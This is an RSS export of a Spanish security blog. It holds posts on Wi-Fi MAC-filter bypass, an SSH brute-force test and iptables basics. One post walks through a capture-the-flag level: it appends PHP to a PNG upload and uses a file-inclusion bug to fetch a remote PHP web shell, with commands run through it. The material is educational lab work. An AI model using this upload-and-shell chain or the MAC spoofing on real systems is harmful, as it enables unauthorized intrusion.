<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
> <channel><title>Pensando en Red &#187; Seguridad</title> <atom:link href="http://pensandoenred.com/category/seguridad/feed/" rel="self" type="application/rss+xml" /><link>http://pensandoenred.com</link> <description>nada es tan fácil como parece serlo</description> <lastBuildDate>Mon, 02 Jan 2012 08:35:01 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>Ingenuo inalámbrico</title><link>http://pensandoenred.com/2009/08/06/ingenuo-inalambrico/</link> <comments>http://pensandoenred.com/2009/08/06/ingenuo-inalambrico/#comments</comments> <pubDate>Thu, 06 Aug 2009 07:49:46 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Configuraciones]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[Seguridad]]></category> <category><![CDATA[wep]]></category> <category><![CDATA[wireless]]></category> <category><![CDATA[wpa-psk]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/?p=401</guid> <description><![CDATA[Ingenuo, ingenuo de mi el pensar que con tener la configuración wireless protegida por MAC sin necesidad de WEP o WPA-PSK sería suficiente para tener "protegida" mi red inalámbrica. Para que ponerle clave WEP si el que supiera desencriptar la WEP también podría cambiar la MAC... pero da la casualidad de que es más sencillo [...]]]></description> <content:encoded><![CDATA[<p>Ingenuo, ingenuo de mi el pensar que con tener la configuración wireless protegida por MAC sin necesidad de WEP o WPA-PSK sería suficiente para tener "protegida" mi red inalámbrica.</p><p>Para que ponerle clave WEP si el que supiera desencriptar la WEP también podría cambiar la MAC... pero da la casualidad de que es más sencillo cambiar la MAC que desencriptar la WEP.</p><blockquote><p>ifconfig &lt;interface&gt; down<br
/> ifconfig &lt;interface&gt; hw ether CA:FE:CA:FE:CA:FE<br
/> ifconfig &lt;interface&gt; up</p></blockquote><p>De esta manera cambiamos la MAC de una tarjeta de red, y claro si has puesto tu tarjeta Wifi en modo monitor:</p><blockquote><p>airmon-ng start &lt;interface&gt;</p></blockquote><p>"Escucharás" con airodump-ng y detectarás a un cliente conectado, con copiar su MAC e intentar conectarte si la protección del AP es sólo por MAC ya has resuelto el problema.</p><p>Desencriptar la clave WEP es muy sencillo y rápido, WPA-PSK es más seguro, siempre que la contraseña para la red no sea un nombre compuesto y si una clave como dios manda con consonantes seguidas, mayusculas, minusculas y simbolos raros. Parece ser que aunque se capture paquetes de una inalámbrica WPA-PSK luego se utilizan diccionarios para obtener la clave.</p><p>Tengo que probar con mi red a intentar saltarme la WPA-PSK y cuando tenga el resultado os lo diré ^_^</p><p>¿Cómo tienes configurada tu wifi?</p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2009/08/06/ingenuo-inalambrico/feed/</wfw:commentRss> <slash:comments>7</slash:comments> </item> <item><title>SecGame #1: Sauron &#8211; Resolución Nivel 4</title><link>http://pensandoenred.com/2008/02/28/secgame-1-sauron-resolucion-nivel-4/</link> <comments>http://pensandoenred.com/2008/02/28/secgame-1-sauron-resolucion-nivel-4/#comments</comments> <pubDate>Thu, 28 Feb 2008 11:53:19 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Seguridad]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2008/02/28/secgame-1-sauron-resolucion-nivel-4/</guid> <description><![CDATA[Saludos a todos, esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en [...]]]></description> <content:encoded><![CDATA[<p
style="text-align: justify">Saludos a todos,</p><p>esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.</p><p
style="text-align: justify"> <a
href="http://bp1.blogger.com/_8ygxe0DUB5U/R8P5NrKOW9I/AAAAAAAAAA0/fW0d0aZeAYY/s1600-h/Dibujo.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img
src="http://bp1.blogger.com/_8ygxe0DUB5U/R8P5NrKOW9I/AAAAAAAAAA0/fW0d0aZeAYY/s400/Dibujo.JPG" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer" id="BLOGGER_PHOTO_ID_5171250810470685650" border="0" /></a><br
/> Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:</p><ul><li>Información sobre el sistema</li><li>Administración de MySQL mediante MySQL Admin</li><li>Visualización de Estadísticas</li><li>Cambio de parámetros</li></ul><p>Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.</p><p>Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos <a
href="http://phpsysinfo.sourceforge.net/">phpSysInfo</a>, y por otro <a
href="http://www.phpmyadmin.net/">phpMyAdmin</a>. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.</p><p>No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.</p><p>Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección "Cambio de parámetros" la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.</p><p>Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:</p><ul><li>Únicamente permite ficheros con extensión PNG</li><li>El tamaño del fichero está limitado a 8KB</li><li>El contenido del fichero debe corresponder con una imagen PNG</li></ul><p>Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.</p><p>Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:<span
style="font-style: italic"></p><p>$ cat &gt;&gt; img.png</span><span
style="font-style: italic"> </span><span
style="font-style: italic"><br
/> &lt;? phpinfo(); ?&gt;</span></p><p>Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.</p><p>¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:</p><p><span
style="font-style: italic"> <span
style="font-style: italic">&lt;? header("Content-Type: image/png");</span> <span
style="font-style: italic">readfile("01.png");</span> ?&gt;</p><p></span><span>Por tanto, nuestro fichero subido sabemos que se llama "01.png" y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:</span><span
style="font-style: italic"></p><p></span><a
href="http://bp1.blogger.com/_8ygxe0DUB5U/R8QCIbKOW-I/AAAAAAAAAA8/bvF1z3xvP1U/s1600-h/Dibujo2.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img
src="http://bp1.blogger.com/_8ygxe0DUB5U/R8QCIbKOW-I/AAAAAAAAAA8/bvF1z3xvP1U/s400/Dibujo2.JPG" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer" id="BLOGGER_PHOTO_ID_5171260615881022434" border="0" /></a>Como vemos, el contenido de la instrucción <span
style="font-weight: bold">phpinfo()</span> se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.</p><p>El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:</p><p><span
style="font-style: italic">&lt;? copy(“http://ip/shell.txt”,”shell.php”); ?&gt;</span></p><p>Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.</p><p>El contenido de shell.txt puede ser el siguiente:<span
style="font-style: italic"></p><p>&lt;? </span><span
style="font-style: italic"><br
/> header(“Content-Type: text/plain”);</span><span
style="font-style: italic"><br
/> passthru($_GET[“cmd”);</span><span
style="font-style: italic"><br
/> ?&gt;</span></p><p>El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable "cmd". De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php</p><p>Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:</p><p>&lt;? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?&gt;</p><p>Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x</p><p>Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:</p><p><span
style="font-style: italic">http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a</span><br
/> <span
style="font-style: italic">Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux</p><p>http://www.blindware.inc/_controlp/shell.php?cmd=id</p><p>uid=500(blindware) gid=500(blindware) groups=500(blindware)</span></p><p>Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel. <span
style="font-style: italic"><br
/> </span></p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2008/02/28/secgame-1-sauron-resolucion-nivel-4/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Brute Force con medusa to SSH</title><link>http://pensandoenred.com/2008/02/24/brute-force-con-medusa-to-ssh/</link> <comments>http://pensandoenred.com/2008/02/24/brute-force-con-medusa-to-ssh/#comments</comments> <pubDate>Sun, 24 Feb 2008 20:51:35 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Seguridad]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2008/02/24/brute-force-con-medusa-to-ssh/</guid> <description><![CDATA[A modo didáctico dedique unas horas a investigar como se realizaban estos ataques. El objevito era mi servidor local con ubuntu 7.10, con ssh activado al que iba a intentar "forzar". Para no andar enguarrando mi sistema con librerias, instalaciones y configuraciones que solo serían para la demostración me encontré con esta distribución live que [...]]]></description> <content:encoded><![CDATA[<p>A modo didáctico dedique unas horas a investigar como se realizaban estos ataques.</p><p>El objevito era mi servidor local con ubuntu 7.10,  con ssh activado al que iba a intentar "forzar".</p><p>Para no andar enguarrando mi sistema con librerias, instalaciones y configuraciones que solo serían para la demostración me encontré con esta distribución live que ya disponía de varias herramientas.</p><p><a
href="http://www.remote-exploit.org/backtrack.html" target="_blank">http://www.remote-exploit.org/backtrack.html</a></p><p>Esta distribución live ya dispone de Jonh The Riper. Pero aún así el wordlist que utilicé para el brute force fue:</p><p><a
href="ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/spanish/words.spanish.gz" target="_blank">ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/spanish/words.spanish.gz</a></p><p>Podemos ver como funciona esta herramienta en un video:</p><p><a
href="http://icaix.com/tutoriales/bruteForce.htm" target="_blank">http://icaix.com/tutoriales/bruteForce.htm</a></p><p>En este video se puede observar como tras andar probando contraseñas contra el puerto ssh del objetivo acaba encontrando la contraseña adecuada.</p><p>Bien, tras tener las herramientas a probar y sabiendo como utilizarlas me dispuse a realizar la prueba de ataque a mi servidor local.</p><p>El resultado no fue el esperado, ya que un ataque por SSH a los 5 intentos del brute force rechazaba más intentos. Lo que primero intenté fue agregar más parametros al comando de "ataque" para así intentar hacer más intentos. Los resultados no obtuvieron éxito.</p><p>Entonces podemos confirmar que este tipo de ataques caen en el olvido y serían técnicas del "pasado". Hablo de mi ignorancia del tema y del tiempo que he podido disponer para realizar estas pruebas.</p><p>No obstante es entretenida la prueba y conocer como funciona. Esta herramienta es válida para intentar "forzar" la entrada a diferentes servicios, entre los que se incluye VNC, FTP...</p><p>Os recomiendo que probar esta herramienta, aunque eso sí, tener en cuenta que si intentáis acceder a una máquina que no sea de vuestra propiedad se considera una acción ilegal.</p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2008/02/24/brute-force-con-medusa-to-ssh/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>SecGame #1: Sauron</title><link>http://pensandoenred.com/2007/12/21/secgame-1-sauron/</link> <comments>http://pensandoenred.com/2007/12/21/secgame-1-sauron/#comments</comments> <pubDate>Fri, 21 Dec 2007 21:10:04 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Seguridad]]></category> <category><![CDATA[Software Libre]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2007/12/21/secgame-1-sauron/</guid> <description><![CDATA[SG6 Labs publica su primer entorno para SecGame. SecGame #1 Sauron, representa un sistema GNU/Linux en el que se ejecutan una serie de servicios web vulnerables. El objetivo del atacante es escalar privilegios desde la web hasta el sistema local, para una vez allí, aprovechar otras vulnerabilidades existentes y llegar a ser administrador (root).El desarrollo [...]]]></description> <content:encoded><![CDATA[<p>SG6 Labs publica su primer entorno para SecGame. SecGame #1 Sauron, representa un sistema GNU/Linux en el que se ejecutan una serie de servicios web vulnerables. El objetivo del atacante es escalar privilegios desde la web hasta el sistema local, para una vez allí, aprovechar otras vulnerabilidades existentes y llegar a ser administrador (root).El desarrollo de la intrusión, aunque tiene niveles lógicos, concretamente unos aproximadamente 7 niveles, aunque por error en algunos lugares aparezcan 10, no tiene una división clara entre ellos. Es decir, no hay un nivel 1, paso a nivel 2, paso a nivel 3, sino que la división se establece exactamente igual que en un entorno real, por la propia elevación de privilegios o revelación de algún tipo de información que nos permita seguir avanzando. Así mismo, se plantean 2 niveles de dificultad, según la máquina virtual descargada: normal o alta.</p><p>El nivel de dificultad normal está indicado para aquellas personas que teniendo conocimientos técnicos quieran familiarizarse con la realización de test de intrusión. En él las ayudas son bastantes, y aunque se deban superar los mismos retos, cuentan con numerosas indicaciones que les serán de utilidad.</p><p>Por su parte el nivel de dificultad alta, se recomienda a personas experimentadas que quieran pasar un buen rato y poner a prueba sus conocimientos. En él todas las explotaciones son "a ciegas", con ningún tipo de indicación o ayuda.</p><p>Esperamos que todos aquellos que lo prueben, pasen un buen rato, además de servirles para aprender o mejorar conocimientos.</p><p>Contenidos Descargables</p><p>* SecGame #1 Sauron: Máquinas virtuales<br
/> o <a
href="http://www.secgame.org/downloads/sauron.rar">Descargar máquina virtual Sauron</a> (530MB. Dificultad Normal)<br
/> o <a
href="http://www.secgame.org/downloads/sauron-hard.rar">Descargar máquina virtual Sauron</a> (519MB. Dificultad Alta)</p><p>* Manules de instalación<br
/> o <a
href="http://www.secgame.org/downloads/sg6.secgame07.instw32.pdf">Manual de instalación para Windows</a> (PDF)<br
/> o <a
href="http://www.secgame.org/downloads/sg6.secgame07.instlinux.pdf">Manual de instalación para Linux</a> (PDF)</p><p>* Binarios para Windows<br
/> o <a
href="http://www.secgame.org/downloads/setupqemuk40.exe">Qemu Manager 4.0</a><br
/> o <a
href="http://www.secgame.org/downloads/openvpn-2.0.9-install.exe">OpenVPN 2.0.9</a></p><p>Visto en: <a
href="http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html" target="_blank">SG6</a></p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2007/12/21/secgame-1-sauron/feed/</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>Hacking en la red</title><link>http://pensandoenred.com/2007/09/04/hacking-en-la-red/</link> <comments>http://pensandoenred.com/2007/09/04/hacking-en-la-red/#comments</comments> <pubDate>Tue, 04 Sep 2007 07:26:50 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Seguridad]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2007/09/04/hacking-en-la-red/</guid> <description><![CDATA[Hace unos años que la empresa S21sec dejó de "ofertar" el concurso Hack21, donde tenías que lograr un objetivo en un servidor para poder ganar el concurso. Aunque me era totalmente imposible avanzar niveles de seguridad las charlas que impartían con la resolución del concurso eran muy didácticas. Indagando por internet a ver si encontraba [...]]]></description> <content:encoded><![CDATA[<p>Hace unos años que la empresa S21sec dejó de "ofertar" el concurso Hack21, donde tenías que lograr un objetivo en un servidor para poder ganar el concurso. Aunque me era totalmente imposible avanzar niveles de seguridad las charlas que impartían con la resolución del concurso eran muy didácticas.</p><p>Indagando por internet a ver si encontraba algo similar para matar alguna hora de aburrimiento me he encontrado con este sitio web: <a
href="http://www.hackerslab.org" target="_blank">http://www.hackerslab.org</a> donde puedes registrarte e intentar poner a prueba tus conocimientos, una máquina online dispuesta para juegos ^_^</p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2007/09/04/hacking-en-la-red/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Aprendiendo a usar IPTABLES desde cero</title><link>http://pensandoenred.com/2007/09/03/aprendiendo-a-usar-iptables-desde-cero/</link> <comments>http://pensandoenred.com/2007/09/03/aprendiendo-a-usar-iptables-desde-cero/#comments</comments> <pubDate>Mon, 03 Sep 2007 20:16:19 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Seguridad]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2007/09/03/aprendiendo-a-usar-iptables-desde-cero/</guid> <description><![CDATA[Introducción Al conectarnos a internet en nuestras casas, de forma explícita nos estamos conectando, en AMBOS sentidos: directamente a la red, "desnudos" si se me permite la analogía. El objetivo de este artículo es, medinte iptables, lograr cierta protección y seguridad. Nótese que un firewall no garantiza 100% de seguridad. Para este artículo, se requieren [...]]]></description> <content:encoded><![CDATA[<p><strong>Introducción</strong></p><p>Al conectarnos a internet en nuestras casas, de forma explícita nos estamos conectando, en AMBOS sentidos: directamente a la red, "desnudos" si se me permite la analogía. El objetivo de este artículo es, medinte iptables, lograr cierta protección y seguridad. Nótese que un firewall no garantiza 100% de seguridad.<br
/> Para este artículo, se requieren conocimientos básicos/intermedios acerca de linux y TCP/IP, obviamente implementado bajo dicho sistema operativo.<br
/> Cabe destacar que para utilizar iptables, es necesario tener un kernel preparado para éste, y el módulo ip_tables cargado. Del mismo modo, si estas utilizando ipchains, se deben descargar sus módulos antes de cargar los de iptables.<br
/> Iptables es una utilidad de linux que se encarga de darle directivas al kernel, acerca del filtrado de paquetes TCP/IP. Un paquete TCP/IP consta de varios campos, con información adicional a los datos que se transmiten en sí. No viene al caso describir cada uno de ellos, sino los que consideraremos mas relevantes, es decir, aquellos campos que mediante iptables, empezaremos a "vigilar". Ejemplo: direccion origen, direccion destino, puerto origen, puerto de destino, etc.</p><p><strong>¿Cómo funciona?</strong></p><p>El kernel de linux posee (predefinidas "de fábrica") 3 cadenas (chains) de reglas: INPUT, FORWARD y OUTPUT. Cada paquete TCP/IP que ingresa/atraviesa/sale desde/hacia una maquina con iptables funcionando, pasará por la cadena INPUT, FORWARD o OUTPUT respectivamente. Las cadenas,no son mas que un listado de reglas, con las cuales controlamos cada uno de los paquetes que pasan. Ahora se preguntaran, que es una regla?. Para evitar las confusiones, vamos a simplificar su definición al máximo, y luego mostrarles algunos ejemplos. Una regla consta de 2 partes, y no es mas que una condición y una acción. Si se cumple la condición se ejecuta la acción. Simple, ¿verdad?<br
/> Algo para tener en cuenta mas adelante: si un paquete atravesó todas las reglas de una cadena, sin hallar coincidencia, iptables se fijará en la politica por defecto de esa cadena(default policy).<br
/> Resumiendo lo anteriormente dicho:<br
/> 1) Lo mas importante: tener conocimientos previos en linux y TCP/IP !!!<br
/> 2) El kernel de linux trae 3 cadenas de reglas (INPUT, FORWARD y OUTPUT)<br
/> 3) Con iptables se pueden agregar/eliminar reglas (entre otras cosas).<br
/> <span
id="more-58"></span><br
/> Supongamos la siguiente situación...Había una vez, una red local 192.168.1.0 con 50 PC's, de las cuales destacaremos:<br
/> 1) aquihacker.mired.lan (192.168.1.15)<br
/> 2) neutral.mired.lan (192.168.1.18)<br
/> 3) jose.mired.lan (192.168.1.20)<br
/> Nosotros somos los operadores de "jose.mired.lan", estamos corriendo un servicio ftp (wu-ftpd*), y estamos enterados de que el muchacho que usa "aquihacker", es alguien muy curioso, que le gusta investigar en máquinas ajenas, utilizando su interfaz de red.</p><p><strong>Experimentando con paquetes icmp</strong></p><p>Vamos a ver cual es el estado de nuestras 3 cadenas, listando lo que hay en ellas. Para eso ejecutamos el siguiente comando:<br
/><cite>[root@malevolo/]# /sbin/iptables -nL<br
/> Chain INPUT (policy ACCEPT)<br
/> target prot opt source destination<br
/> Chain FORWARD (policy ACCEPT)<br
/> target prot opt source destination<br
/> Chain OUTPUT (policy ACCEPT)<br
/> target prot opt source destination</cite>Si la salida obtenida no se parece a lo que ven aqui arriba, significa que no tenéis instalados los módulos correspondientes en el kernel, o que ya hay un firewall funcionando, o para confundirlos más: significa que ya se ejecutó un script probablemente en el inicio del sistema donde se cargan las reglas del firewall. Consultad la documentación de la distribución que instaláteis<br
/> Suponiendo que la salida que obtuvieron es igual a la escrita aqui arriba, la situación es la siguiente: quiere decir que el firewall esta aceptando todos los paquetes, o lo que es lo mismo, no filtra absolutamente nada. Esto nos indica 2 cosas:</p><p>- Las 3 cadenas (INPUT/FORWARD/OUTPUT) estan vacías<br
/> - Las 3 cadenas tienen como politica default "ACCEPT".<br
/> Es normal que al hacer un ping a localhost (nosotros mismos) recibamos respuesta:</p><p><cite>[root@malevolo/][root@malevolo/]# ping localhost<br
/> PING localhost.localdomain (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.<br
/> 64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=0 ttl=255 time=0.3ms<br
/> 64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=1 ttl=255 time=0.1ms<br
/> 64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=2 ttl=255 time=0.1ms<br
/> (y así sucesivamente...)</cite><br
/> Vamos a agregar una regla, para entender el funcionamiento:<br
/><cite>[root@malevolo/]# /sbin/iptables --append INPUT --protocol icmp --source 127.0.0.1 --jump DROP</cite></p><p>Qué es esto? Simple: Agregar (append) la siguiente regla a la cadena INPUT: al recibir un paquete del tipo icmp (--protocol) con origen (--source) "127.0.0.1" y con cualquier destino (ya que no lo especificamos), enviamos ese paquete (--jump) a DROP, que por cierto es lo mismo que dejarlo tirado =). ¿Qué? No pasó nada, ¿verdad? ¿Seguro? Entonces listemos otra vez las reglas que tenemos cargadas (te olvidaste como se hacia??)</p><p><cite>[root@malevolo/]# /sbin/iptables -nL<br
/> Chain INPUT (policy ACCEPT)<br
/> target prot opt source destination<br
/> DROP icmp -- 127.0.0.1 0.0.0.0/0<br
/> Chain FORWARD (policy ACCEPT)<br
/> target prot opt source destination<br
/> Chain OUTPUT (policy ACCEPT)<br
/> target prot opt source destination</cite></p><p>Notamos que en la cadena INPUT, se nos agregó una regla, cuya función es impedir que se haga ping desde nuestra propia máquina. Podrán notar que esta regla no es demasiado útil a los fines prácticos, pero si lo es para ejemplificar el uso. ¿Y que es lo que faltaría?<br
/> ¡¡Comprobar su funcionamiento!! ¡¡Por supuesto!!</p><p><cite>[root@malevolo/]# ping localhost<br
/> PING localhost.localdomain (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.<br
/> (y se quedará esperando una respuesta que nunca llegará...)</cite></p><p>¿Nuestro firewall está invisible? Claro que no. De hecho, veremos que desde la pc "aquihacker", hacemos ping sin problemas, y nuestra maquina le responde.</p><p><cite>[root@aquihacker /]# ping malevolo.mired.lan<br
/> PING jose.mired.lan (192.168.1.20) from 192.168.1.15 : 56(84) bytes of data.<br
/> 64 bytes from 192.168.1.20: icmp_seq=0 ttl=255 time=2.524 msec<br
/> 64 bytes from 192.168.1.20: icmp_seq=1 ttl=255 time=1.319 msec</cite></p><p>Con lo cual, con un simple ping, nuestro amigo operador de "aquihacker" puede notar la presencia de nuestro PC. A no desesperar que esto empieza ahora.</p><p><strong>Restringiendo paquetes provenientes del exterio</strong></p><p>Puesto que nuestro firewall está filtrando los paquetes ICMP locales, y deja pasar los remotos. Vamos a cambiar un poco las reglas "del juego". Borramos la regla que anteriormente agregamos:<cite>[root@malevolo/]# /sbin/iptables --delete INPUT --protocol icmp --source 127.0.0.1 --jump DROP</cite></p><p>Esto se logra con la opción "-D", y el resto, es la transcripción EXACTA de la regla que queremos borrar.<br
/> NOTA: conociendo que era la única regla, hubieramos logrado el mismo resultado escribiendo:</p><p><cite>[root@malevolo/]# /sbin/iptables --delete INPUT 1</cite></p><p>Ahora lo que importa: Restringir el acceso a paquetes icmp desde la red!!!</p><p><cite>[root@malevolo/]# /sbin/iptables -A INPUT -p icmp -s 192.168.1.15 -j DROP</cite></p><p>Nótese que es indistinto escribir -A o --append, -p o --protocol, etc. Ahora, listamos nuestra cadena INPUT:</p><p><cite>[root@malevolo/]# /sbin/iptables -nL INPUT<br
/> Chain INPUT (policy ACCEPT)<br
/> target prot opt source destination<br
/> DROP icmp -- 192.168.1.15 0.0.0.0/0</cite></p><p>Listo, ahora cualquier paquete icmp con origen en 192.168.1.15 será "DROPeado". Por ello, cuando nuestro amigo curioso hace ping desde su máquina a la nuestra, jamás tendrá respuesta..</p><p><cite>[root@aquihacker /]# ping jose.mired.lan<br
/> PING malevolo.mired.lan (192.168.1.20) from 192.168.1.15 : 56(84) bytes of data.</cite></p><p>Listo. Para nuestro amigo, nuestra máquina está invisible, por consiguiente, logramos nuestro objetivo de asegurarla.<br
/> ¿Cierto? ¡¡NOOO!! ¡¡Sacrilegio!! ¡NO no no y nooooO!<br
/> Nuestro amigo, extrañado por que el comando ping no respondió, en un principio pensó que tendríamos la PC apagada, pero luego ejecutó...</p><p><cite>[root@aquihacker /]# ftp malevolo.mired.lan<br
/> Connected to malevolo.mired.lan.<br
/> 220 malevolo FTP server (Version wu-2.6.1-16) ready.<br
/> Name (malevolo:root):</cite></p><p>Oh Oh! Nos hemos olvidado que teníamos un FTP server corriendo... Y corriendo apurados agregamos la siguiente regla:</p><p><cite>[root@malevolo/]# /sbin/iptables -A INPUT -p tcp -s 192.168.1.15 --dport 21 -j DROP</cite></p><p>Listamos la cadena INPUT y obtenemos:</p><p><cite>[root@malevolo/]# /sbin/iptables -nL INPUT<br
/> Chain INPUT (policy ACCEPT)<br
/> target prot opt source destination<br
/> DROP icmp -- 192.168.1.15 0.0.0.0/0<br
/> DROP tcp -- 192.168.1.15 0.0.0.0/0 tcp dpt:21</cite></p><p>Por su parte, nuestro "amigo" se aburrirá de esperar hasta que nuestro FTP le responda (cosa que no sucederá). Interesante, ¿verdad?<br
/> Ahora pensemos lo siguiente: ¿que pasa si en nuestra red, de las 50 PC's que la conforman, la mayoría son "amigos curiosos" ??. Agregaremos una regla para cada uno de ellos? Sería un trabajo bastante tedioso, y poco eficiente.<br
